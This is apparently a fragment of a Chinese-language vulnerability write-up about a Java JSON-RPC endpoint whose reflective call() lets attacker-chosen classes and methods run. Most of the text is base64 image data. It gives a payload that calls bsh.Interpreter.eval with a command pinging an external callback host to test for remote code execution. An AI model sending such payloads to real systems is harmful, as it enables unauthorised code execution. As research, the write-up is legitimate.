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<p>在call()中,获取json中的rpcname和methond和params,通过paramList存储params参数,params参数最多不超过10个</p>
<p><a id=img6 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311104833-d988e24e-df51-1.png><img src=data:image/png;base64,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 truncated
<p>然后一顿字符串处理,直接拉到call函数最后,instance、getMethod、method.invoke获取实例、获取类方法、反射调用,并且通过上面可以知道,所以参数都可控。</p>
<p><a id=img7 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311104848-e30770ba-df51-1.png><img src="data:image/png;base64,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 truncated
<p>看起来是直接代码执行。</p>
<h2 id=toc-1>0x01</h2>
<p>直接传递如下</p>
<pre><code>rpcname为bsh.Interpreter
method为eval
params为ping o3n9.callback.red</code></pre>
<p>直接发包,返回500,没这么简单。。。<br>
先把命令改成whoami,再次发送,还是500,参数这么简单,中间代码是处理字符串和获取参数对应的class应该不会出什么问题<br>
然后详细看了下获取实例的函数ServiceLocator.getService(className);</p>
<p><a id=img8 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311104910-efbd343e-df51-1.png title><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA0IAAACsCAYAAABW+BwbAADCNElEQVR4nOz9d5xdx53YiX7rxJv7ds4B3ciRiATACOYgUaQ00kRN8qxnxh57nfZ9dnZfsHfX3s/n7bPXYTy2J8saxRElkqJIiWLOAQQBEhkNNIDOOd14QtX749y+3Q00EgkQoHi+nw9IhD7n1Kk6VfXLJdatW6cICQkJCQkJCQkJCQn5HKFd7waEhISEhISEhISEhIR82oSKUEhISEhISEhISEjI545QEQoJCQkJCQkJCQkJ+dwRKkIhISEhISEhISEhIZ87QkUoJCQkJCQkJCQkJORzR6gIhYSEhISEhISEhIR87ggVoZCQkJCQkJCQkJCQzx2hIhQSEhISEhISEhIS8rkjVIRCQkJCQkJCQkJCQj53hIpQSEhISEhISEhISMjnjlARCgkJCQkJCQkJCQn53BEqQiEhISEhISEhISEhnztCRSgkJCQkJCQkJCQk5HNHqAiFhISEhISEhISEhHzuCBWhkJCQkJCQkJCQkJDPHaEiFBISEhISEhISEhLyuSNUhEJCQkJCQkJCQkJCPneEilBISEhISEhISEhIyOeOUBEKCQkJCQkJCQkJCfncESpCISEhISEhISEhISGfO0JFKCQkJCQkJCQkJCTkc0eoCIWEhISEhISEhISEfO4IFaGQkJCQkJCQkJCQkM8doSIUEhISEhIS8rGQUiKlvN7NCAm5Kvi+j1LqejdjSZRS5fl2o7bxs0ioCIWEhISEhIRcEb7vIaVPQ0sbHctXI6V/vZsUEvKJkFKy7qYdJJMVeK57wyj4UkqcYgHLsqlvaqW9ayXxZAp1g7Tvs45xvRsQMo8CfAmeEmhCYQjQxPVuVcjl4IXj9omQvo/vewBouo6uh0tTyC8mrqdw/cCaa5sC/TO2WCglEUJj9catbLv1buobWzhx8AAnj36EZunXu3nXDN/3kH6g7OmGiaaFduRfNKTvc/Md93Lfl36VvjPdvPLck4wO9AVjLa7PPHWKBZatWMv22+6hpWM5VsTGsiL8+Dt/yQfvvoZl2delXb9IfO6lDU8FyocuQNfgcj91qQLh97wLVDBfDHFl80YpiJpwc53P7nqH3ozOT3stRvKhUH0joxRYOtzR5LOr3qU3o/NSv8nZDBg3+D4ppR+EAUjF3IerCYGmGxfc5JVSeK4LAvSL/NyVoJSkc/V6tuy+E0M3ObjvLY59tA/fDy3Mv2j4MlACpAzmDiWjgaEJTOMXe6FTCjRN8Cu3VfOFbZXkij5/9cIobxydIWLe4ItFCSl97EiMu7/wVdZv24llRRCAHYlwsUgd3/eR5ZCjy1trbiQcp8i2W/awav0WfCV59+XnGDh76obxGIRcLRSRaIxUVTWrKipo6eji3Vef551Xn0NKifiUlSHPdVi5YQt3PfQVGls70DQNoWlE7BiGZXHRSRdy2XxuFaHSHsyuep8NVT7Hp3T2jelk3EsrHq6E1WnJrnof/5zvUBeKsYLG3lGD4XygYF0OvoLmmM/vrZklZnqsq9IxdfjTgzZR4xf7Y/cVOL5AAbauLrvPrhZFX+ArMITC1C9fGQZwJGyplTzWmaM9UWRHvYYiyjeORcvf2I3GnDDS1rWK9Zt3kq6uxTRNCvkc48ODHNr/Hn2nT2Cea2kSgnRV